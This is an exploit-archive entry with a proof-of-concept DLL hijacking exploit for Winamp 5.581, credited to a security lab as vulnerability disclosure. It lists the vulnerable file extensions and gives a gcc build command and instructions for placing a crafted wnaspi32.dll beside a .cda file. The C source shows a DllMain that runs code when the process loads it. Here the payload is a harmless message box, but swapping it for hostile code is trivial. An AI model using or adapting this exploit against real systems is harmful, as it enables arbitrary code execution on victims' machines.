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Nullsoft Winamp 5.581 DLL Hijacking Exploit

Nullsoft Winamp 5.581 DLL Hijacking Exploit
Posted Aug 26, 2010
Authored by LiquidWorm | Site zeroscience.mk

Nullsoft Winamp version 5.581 DLL hijacking exploit that leverages wnaspi32.dll.

tags | exploit
SHA-256 | 4d95a031560cb1a18e6c908c0decf1141e2f7ed0b36e6a081ddfed39de031cb2

Nullsoft Winamp 5.581 DLL Hijacking Exploit

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/*

Nullsoft Winamp 5.581 (wnaspi32.dll) DLL Hijacking Exploit

Vendor: Nullsoft.
Product Web Page: http://www.winamp.com
Affected Version: 5.581 (x86)

Summary: Winamp is a media player for Windows-based PCs,
written by Nullsoft, now a subsidiary of AOL. It is
proprietary freeware/shareware, multi-format, extensible
with plug-ins and skins, and is noted for its graphical
sound visualization, playlist, and media library features.

Desc: Winamp 5.581 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local
level. The vulnerable extensions are .669, .aac, .aiff, .amf,
.au, .avr, .b4s, .caf and .cda thru wnaspi32.dll and dwmapi.dll
libraries.

----
gcc -shared -o wnaspi32.dll winamp.c

Compile and rename to wnaspi32.dll, create a file test.cda and put both
files in same dir and execute.
----

Tested on Microsoft Windows XP Professional SP3 (EN)



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk


25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
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